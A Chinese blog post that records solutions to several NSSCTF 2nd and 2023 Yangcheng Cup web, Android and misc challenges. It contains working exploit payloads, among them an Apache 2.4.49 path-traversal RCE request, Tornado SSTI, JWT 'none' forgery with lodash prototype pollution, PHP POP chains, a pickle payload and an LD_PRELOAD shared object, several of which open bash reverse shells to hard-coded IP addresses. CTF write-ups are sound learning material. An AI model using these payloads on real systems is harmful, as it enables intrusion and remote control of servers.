NSSCTF2nd与羊城杯部分记录

---

前言

今天周日，有点无聊没事干，写篇博客来解解闷，最近因为要参加CTF比赛，所以这周也是要找点题目练练手，找找感觉，于是之前做了下NSSCTF二周年的CTF题目，对部分印象深刻的题目做一下记录，顺带也记录下昨天羊城杯的部分题目。

[NSSCTF 2nd]php签到

进入题目就直接给出了源码

 <?php

function waf($filename){
    $black_list = array("ph", "htaccess", "ini");
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    foreach ($black_list as $value) {
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}

if(isset($_FILES['file'])){
    $filename = urldecode($_FILES['file']['name']);
    $content = file_get_contents($_FILES['file']['tmp_name']);
    if(waf($filename)){
        file_put_contents($filename, $content);
    } else {
        echo "Please re-upload";
    }
} else{
    highlight_file(__FILE__);
} 

这题看似上了waf，把能够造成敏感文件的php、配置文件等都给搬掉了，但是这里使用了file_put_contents()以及urlencode，当我们上传test.php/.这样的文件时候，因为file_put_contents()第一个参数是文件路径，操作系统会认为你要在test1.php文件所在的目录中创建一个名为.的文件，最后上传的结果就为test.php。

[NSSCTF 2nd]MyBox

进入会发现是一个空白页面，但是上方出现了一个参数url，并且发现是Python的Web端，file协议读取到了源码

from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)

@app.route('/')
def index():
    if not request.args.get('url'):
        return redirect('/?url=dosth')
    url = request.args.get('url')
    if url.startswith('file://'):
        with open(url[7:], 'r') as f:
            return f.read()
    elif url.startswith('http://localhost/'):
        return requests.get(url).text
    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect(('127.0.0.1', int(port)))
        s.send(parse.unquote(content).encode())
        res = b''
        while 1:
            data = s.recv(1024)
            if data:
                res += data
            else:
                break
        return res
    return ''

app.run('0.0.0.0', 827)

这里出现了一个mybox开头的协议，就会自动取出后面的数据使用socket流自动发送到某个端口，可以尝试通过socket发送到80端口，看看能够探测出什么，会发现是Apache2.4.49，而这个环境是存在一个目录穿越导致命令执行的CVE的，直接打就能getshell。

import urllib.parse
payload=\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length:53

bash -c 'bash -i >& /dev/tcp/120.79.29.170/4444 0>&1'
"""

tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result='mybox://127.0.0.1:80/_'+urllib.parse.quote(new)
print(result)

[NSSCTF 2nd]MyHurricane

一道Tornado的SSTI注入题目，直接给出了源码：

import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)


def waf(data):
    bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
    for c in bl:
        if c in data:
            return False
    for chunk in data.split():
        for c in chunk:
            if not (31 < ord(c) < 128):
                return False
    return True


class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        with open(__file__, 'r') as f:
            self.finish(f.read())

    def post(self):
        data = self.get_argument("ssti")
        if waf(data):
            with open('1.html', 'w') as f:
                f.write(f"""

                        {data}
                        """)
                f.flush()
            self.render('1.html')
        else:
            self.finish('no no no')


if __name__ == "__main__":
    app = tornado.web.Application([
        (r"/", IndexHandler),
    ], compiled_template_cache=False)
    app.listen(827)
    tornado.ioloop.IOLoop.current().start()

这里过滤的东西还是比较关键的，所以一般的常规payload都无法使用，但是漏了一个最简单的payload，并且环境变量中的flag的值也没有去掉，所以可以直接读取环境变量得到flag，{% include /proc/1/environ %}

题解上面有某位师傅的WP，也是比较深刻，记录一下，主要原理是Tornado模板在渲染时会执行__tt_utf8(__tt_tmp) 这样的函数，所以将__tt_utf8设置为eval，然后将__tt_tmp设置为了从POST方法中接收的字符串导致了RCE。

{% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")

[NSSCTF 2nd]MyJs

一道ejs的lodash原型链渲染题目，lodash原型链渲染没有去调试过，所以不太清楚，但是这里的jwt模块的verify存在的缺陷倒是比较审核，主要原因是verify中的algorithms参数必须为数组的形式，当algorithms没有被指定的时候即为none，可以空密钥，所以这里只需要传入一个空的secretid，使得secret找到的结果为null或者undefined，在verify的时候就能够直接绕掉认证进入到nss用户的页面，不过在查看自己的jwttoken版本的时候，这种情况似乎已经不能够使用了，当参数不为数组的时候，会自动触发报错。

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json())
    .use('/static', express.static('static'))
    .set('views', './views')
    .set('view engine', 'ejs')
    .use(session({
        name: 'session',
        secret: randomize('a', 16),
        resave: true,
        saveUninitialized: true
    }))
    .get('/', (req, res) => {
        if (req.session.data) {
            res.redirect('/home');
        } else {
            res.redirect('/login')
        }
    })
    .get('/source', (req, res) => {
        res.set('Content-Type', 'text/javascript;charset=utf-8');
        res.send(fs.readFileSync(__filename));
    })
    .all('/login', (req, res) => {
        if (req.method == "GET") {
            res.render('login.ejs', {msg: null});
        }
        if (req.method == "POST") {
            const {username, password, token} = req.body;
            const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

            if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
                return res.render('login.ejs', {msg: 'login error.'});
            }
            const secret = global.secrets[sid];
            const user = jwt.verify(token, secret, {algorithm: "HS256"});
            if (username === user.username && password === user.password) {
                req.session.data = {
                    username: username,
                    count: 0,
                }
                res.redirect('/home');
            } else {
                return res.render('login.ejs', {msg: 'login error.'});
            }
        }
    })
    .all('/register', (req, res) => {
        if (req.method == "GET") {
            res.render('register.ejs', {msg: null});
        }
        if (req.method == "POST") {
            const {username, password} = req.body;
            if (!username || username == 'nss') {
                return res.render('register.ejs', {msg: "Username existed."});
            }
            const secret = crypto.randomBytes(16).toString('hex');
            const secretid = global.secrets.length;
            global.secrets.push(secret);
            const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
            res.render('register.ejs', {msg: "Token: " + token});
        }
    })
    .all('/home', (req, res) => {
        if (!req.session.data) {
            return res.redirect('/login');
        }
        res.render('home.ejs', {
            username: req.session.data.username||'NSS',
            count: req.session.data.count||'0',
            msg: null
        })
    })
    .post('/update', (req, res) => {
        if(!req.session.data) {
            return res.redirect('/login');
        }
        if (req.session.data.username !== 'nss') {
            return res.render('home.ejs', {
                username: req.session.data.username||'NSS',
                count: req.session.data.count||'0',
                msg: 'U cant change uid'
            })
        }
        let data = req.session.data || {};
        req.session.data = lodash.merge(data, req.body);
        console.log(req.session.data.outputFunctionName);
        res.redirect('/home');
    })
    .listen(827, '0.0.0.0')

const jwt = require('jsonwebtoken');

var payload = {
    secretid: [],
    username: 'nss',
    password: 'nssctf',
    "iat":1693548684
}
var token = jwt.sign(payload, undefined, {algorithm: 'none'});
console.log(token)

伪造成进入之后，找一个payload直接打就能够反弹shell

{
    "content": {
        "constructor": {
            "prototype": {
            "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.143.203.166/2333 0>&1\"');var __tmp2"
            }
        }
    },
    "type": "test"
}

至于具体怎么污染的，到时候搭个环境调试下看看。

[NSSCTF 2nd]MyAPK

一道安卓的简单逆向，使用frida hook改变变量的输入即可获得flag，感觉挺有意思，这是源码，点击start和stop的两个按钮，计算秒数，如果刚好是66.666s，则会输出flag。

package com.moible.r15;

import android.content.Context;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import java.util.Timer;
import java.util.TimerTask;

public class main extends AppCompatActivity {
  private TextView info;
  
  private Button start;
  
  private Boolean started = Boolean.valueOf(false);
  
  private Button stop;
  
  private int success = 0;
  
  private Timer timer;
  
  private TimerTask timerTask;
  
  private Toast ts;
  
  String getit(String paramString) {
    int[] arrayOfInt2 = new int[64];
    int i;
    for (i = 0; i < 64; i++)
      arrayOfInt2[i] = (int)(long)(Math.abs(Math.sin((i + 1))) * 4.294967296E9D); 
    byte[] arrayOfByte2 = paramString.getBytes();
    int j = arrayOfByte2.length;
    int k = (j + 8 >>> 6) + 1;
    int m = k << 6;
    byte[] arrayOfByte3 = new byte[m];
    System.arraycopy(arrayOfByte2, 0, arrayOfByte3, 0, j);
    arrayOfByte3[j] = Byte.MIN_VALUE;
    long l = j;
    for (i = 0; i < 8; i++)
      arrayOfByte3[m - 8 + i] = (byte)(int)(l * 8L >>> i * 8); 
    int[] arrayOfInt3 = new int[4];
    arrayOfInt3[0] = -1732584194;
    arrayOfInt3[1] = -271733879;
    arrayOfInt3[2] = 271733878;
    arrayOfInt3[3] = 1732584193;
    byte b = 0;
    int[] arrayOfInt1 = arrayOfInt2;
    while (b < k) {
      arrayOfInt2 = new int[16];
      for (i = 0; i < 16; i++) {
        m = (b << 6) + (i << 2);
        arrayOfInt2[i] = arrayOfByte3[m] & 0xFF | (arrayOfByte3[m + 1] & 0xFF) << 8 | (arrayOfByte3[m + 2] & 0xFF) << 16 | (arrayOfByte3[m + 3] & 0xFF) << 24;
      } 
      int n = arrayOfInt3[0];
      int i1 = arrayOfInt3[1];
      m = arrayOfInt3[2];
      i = arrayOfInt3[3];
      byte b1 = 0;
      while (true) {
        int i2 = m;
        if (b1 < 64) {
          int i3;
          if (b1 < 16) {
            m = (i1 ^ 0xFFFFFFFF) & i | i1 & i2;
            i3 = b1;
          } else {
            m = i;
            if (b1 < 32) {
              m = m & i1 | (m ^ 0xFFFFFFFF) & i2;
              i3 = (b1 * 5 + 1) % 16;
            } else if (b1 < 48) {
              m = i1 ^ i2 ^ m;
              i3 = (b1 * 3 + 5) % 16;
            } else {
              m = (m ^ 0xFFFFFFFF | i1) ^ i2;
              i3 = b1 * 7 % 16;
            } 
          } 
          int i4 = i1;
          i1 += Integer.rotateLeft(n + m + arrayOfInt2[i3] + arrayOfInt1[b1], 7);
          n = i;
          b1++;
          i = i2;
          m = i4;
          continue;
        } 
        arrayOfInt3[0] = arrayOfInt3[0] + n;
        arrayOfInt3[1] = arrayOfInt3[1] + i1;
        arrayOfInt3[2] = arrayOfInt3[2] + i2;
        arrayOfInt3[3] = arrayOfInt3[3] + i;
        b++;
      } 
    } 
    byte[] arrayOfByte1 = new byte[16];
    for (i = 0; i < 4; i++) {
      arrayOfByte1[i * 4] = (byte)(arrayOfInt3[i] & 0xFF);
      arrayOfByte1[i * 4 + 1] = (byte)(arrayOfInt3[i] >>> 8 & 0xFF);
      arrayOfByte1[i * 4 + 2] = (byte)(arrayOfInt3[i] >>> 16 & 0xFF);
      arrayOfByte1[i * 4 + 3] = (byte)(arrayOfInt3[i] >>> 24 & 0xFF);
    } 
    StringBuilder stringBuilder = new StringBuilder();
    for (i = 0; i < arrayOfByte1.length; i++) {
      stringBuilder.append(String.format("%02x", new Object[] { Integer.valueOf(arrayOfByte1[i] & 0xFF) }));
    } 
    return stringBuilder.toString();
  }
  
  protected void onCreate(Bundle paramBundle) {
    super.onCreate(paramBundle);
    setContentView(R.layout.hello);
    this.stop = (Button)findViewById(R.id.stop);
    this.start = (Button)findViewById(R.id.start);
    this.info = (TextView)findViewById(R.id.info);
    this.start.setOnClickListener(new View.OnClickListener() {
          final main this$0;
          
          public void onClick(View param1View) {
            main.this.start.setEnabled(false);
            main.access$102(main.this, Boolean.valueOf(true));
            main.access$202(main.this, new Timer());
            main.access$302(main.this, new TimerTask() {
                  Double cnt = Double.valueOf(0.0D);
                  
                  final main.null this$1;
                  
                  public void run() {
                    TextView textView = main.this.info;
                    Double double_ = this.cnt;
                    this.cnt = Double.valueOf(double_.doubleValue() + 1.0D);
                    textView.setText(String.format("%.3fs", new Object[] { Double.valueOf(double_.doubleValue() / 1000.0D) }));
                  }
                });
            main.this.timer.scheduleAtFixedRate(main.this.timerTask, 0L, 1L);
          }
        });
    this.stop.setOnClickListener(new View.OnClickListener() {
          final main this$0;
          
          public void onClick(View param1View) {
            if (!main.this.timerTask.cancel()) {
              main.this.timerTask.cancel();
              main.this.timer.cancel();
            } 
            main.this.start.setEnabled(true);
            if (main.this.info.getText() == "66.666s") {
              main main1 = main.this;
              Context context = main1.getBaseContext();
              StringBuilder stringBuilder = (new StringBuilder()).append("flag{");
              main main2 = main.this;
              main.access$502(main1, Toast.makeText(context, stringBuilder.append(main2.getit((String)main2.info.getText())).append("}").toString(), 1));
            } else {
              main main1 = main.this;
              main.access$502(main1, Toast.makeText(main1.getBaseContext(), ", 1));
            } 
            main.this.ts.show();
          }
        });
  }
}

直接启动frida，改变掉getit函数输入的值，获取输出值即可获取到flag。

羊城杯[2023] D0n’t pl4y g4m3!!!

这是一道CVE的题目，当PHP<=7.4.21时通过php -S开起的WEB服务器存在源码泄露漏洞，刚好爆破目录给了start.sh让你看到了php -S启动，使用类似于走私攻击似的请求就可以读取到p0p的源码，然后需要构造反序列化链造成RCE。

GET /p0p.php HTTP/1.1
Host:xxx.com


GET / HTTP/1.1

源码如下：

class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{

    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
    echo 1;
    unserialize(prohib($a));
}
?>

简单的pop链互相赋值到call_user_func中，入口点在Bei类的__destruct()中，整条链为Bei__destruct()->Yang_ycb()->Cheng__get()使得$this->finish->finish为1，然后通过 $this->fine->YCB1触发Yang{\_}_{c}all()，传入now中的name为sho{w}_{s}ource或highligh{t}_{f}ile，$this->rce值赋值为flag的位置/tmp/catcatf1ag.txt。

整个payloda如下：

error_reporting(E_ALL);
ini_set('display_errors', 1);

class Pro {
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2 = $this->exp[$rce2];
    }

}

class Yang {
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) { #cheng->finish=['finish' => 1];
                echo "Yang __call
";
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }

    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish; #this->finsh=new Cheng();
    }

    public function __wakeup()
    {
        $this->key = True;
    }
}

class Cheng {
    public $name;

    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}

class Bei {
    public function __destruct()
    {
        if ($this->CTF->ycb()) {  # this->CTF=new Yang()
            $this->fine->YCB1($this->rce, $this->rce1); #this->fine=new Yang();
        }
    }

    public function __wakeup()
    {
        $this->key = false;
    }
}

$bei = new Bei;
$yang = new Yang;
$cheng = new Cheng;
$yangfine = new Yang;
$bei->CTF = $yang;
$cheng->name = ['finish' => 1];
$yang->finish = $cheng;
$yangfine->key = true;
$yangfine->finish = $cheng;
$yangfine->now = ['YCB1' => 'highlight_file'];
$bei->rce = '/tmp/catcatf1ag.txt';
$bei->fine = $yangfine;
echo serialize($bei);

羊城杯[2023]ezyaml

一道解压tar的任意文件覆盖+yaml的题目，给出了源码：

import tarfile
from flask import Flask, render_template, request, redirect
from hashlib import md5
import yaml
import os
import re


app = Flask(__name__)

def waf(s):
    flag = True
    blacklist = ['bytes','eval','map','frozenset','popen','tuple','exec','\\','object','listitems','subprocess','object','apply']
    for no in blacklist:
        if no.lower() in str(s).lower():
            flag= False
            print(no)
            break
    return flag
def extractFile(filepath, type):

    extractdir = filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)


    if type == 'tar':
        tf = tarfile.TarFile(filepath)
        tf.extractall(extractdir)
        return tf.getnames()

@app.route('/', methods=['GET'])
def main():
        fn = 'uploads/' + md5().hexdigest()
        if not os.path.exists(fn):
            os.makedirs(fn)
        return render_template('index.html')


@app.route('/upload', methods=['GET', 'POST'])
def upload():

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        upFile = request.files['file']
        print(upFile)
        if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:
            return ""

        savePath = f"uploads/{upFile.filename}"
        print(savePath)
        upFile.save(savePath)

        if tarfile.is_tarfile(savePath):
            zipDatas = extractFile(savePath, 'tar')
            return render_template('result.html', path=savePath, files=zipDatas)
        else:
            return f""


@app.route('/src', methods=['GET'])
def src():
    if request.args:
        username = request.args.get('username')
        with open(f'config/{username}.yaml', 'rb') as f:
            Config = yaml.load(f.read())
            return render_template('admin.html', username="admin", message="success")
    else:
        return render_template('index.html')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

通过tarfile.TarFile(filepath)和tf.extractall(extractdir)我们可以把压缩了恶意yaml文件的压缩包上传到config目录下，通过/src触发yaml.loads()触发RCE即可。

羊城杯[2023]Serpent

一道session伪造和pickle反序列化的题目，过滤了R指令，还有很多指令都可以使用。

from flask import Flask, session
from secret import secret

@app.route('/verification')
def verification():
    try:
        attribute = session.get('Attribute')
        if not isinstance(attribute, dict):
            raise Exception
    except Exception:
        return 'Hacker!!!'
    if attribute.get('name') == 'admin':
        if attribute.get('admin') == 1:
            return secret
        else:
            return "Don't play tricks on me"
    else:
        return "You are a perfect stranger to me"

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

直接伪造session得到访问的路径为/ppppppppppick1e

import hashlib
import random

from flask.json.tag import TaggedJSONSerializer

from itsdangerous import *
secret='GWHTVdkhc1btrq'
session = {
  "Attribute": {
    "admin": 1,
    "name": "admin",
    "secret_key": "GWHTVdkhc1btrq"
  }
}
print(URLSafeTimedSerializer(secret_key=secret,

                             salt='cookie-session',

                             serializer=TaggedJSONSerializer(),
                             signer_kwargs={
                                 'key_derivation': 'hmac',
                                 'digest_method': hashlib.sha1
                             }

                             ).dumps(session))

然后使用使用payload替换掉Cookie中的pickle的值，反弹shell即可。

import base64

p=b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/120.79.29.170/6666 0>&1\"'\no"
print(base64.b64encode(p))

最后发现python3.8是SUID文件，使用python3.8进行提权即可读取到flag。

羊城杯[2023]EZ_web

Linux操作系统的动态链接库在加载过程中，动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload，并将读取到的动态链接库文件进行预加载，即使程序不依赖这些动态链接库，LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高，所以能够提前于用户调用的动态库载入。这题整与/etc/ld.so.preload配置文件的劫持有关。

首先伪造恶意的ld.so.preload文件

#include 
#include 
#include 
__attribute__((constructor)) void payload1(){
remove("/etc/ld.so.preload");
system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
//gcc payload.c -o payload.so -shared -fPIC

然后再构造上传ld.so.preload指向我们的payload.so文件，最后ls命令直接触发即可。

大致的exp应该是这样，因为是队伍大佬出的，所以不确定

import requests


url = ''


def upload_so():
    upload = url + 'upload.php'

    data = {"submit": "Upload"}
    files = {
        'fileToUpload': ('payload.so', open("./payload.so", "rb"), 'application/octet-stream')
    }
    response = requests.post(url=upload, data=data, files=files)
    print(response.text)


def upload_preload():
    upload = url + 'upload.php'

    data = {"submit": "Upload"}
    files = {
        'fileToUpload': ('/etc/ld.so.preload', open("./ld.so.preload", "rb"), 'application/octet-stream')
    }
    response = requests.post(url=upload, data=data, files=files)
    print(response.text)


def ls():
    ls = url + 'list.php'
    data = {"command": "ls"}
    response = requests.post(url=ls, data=data)
    print(response.text)


upload_so()
upload_preload()
ls()

羊城杯[2023]Ez_misc

这道题也比较有意思，也我是第一次接触这样子的题目，是Windows的一个桌面截图文件，通过维吉尼亚给了提示。

修复宽高，得到

尾部有多余的数据，提取出来，是一个压缩包，里面给了一个txt文件。

尝试维吉尼亚爆破，可以得到提示sinppingtools。

github上面查找工具可以构造出原图。

总结

以上是本周自己觉得值得记录下来的一些题目，也是让我再一次感受到了CTF比赛的氛围，也是希望CTF能够慢慢成为一种爱好。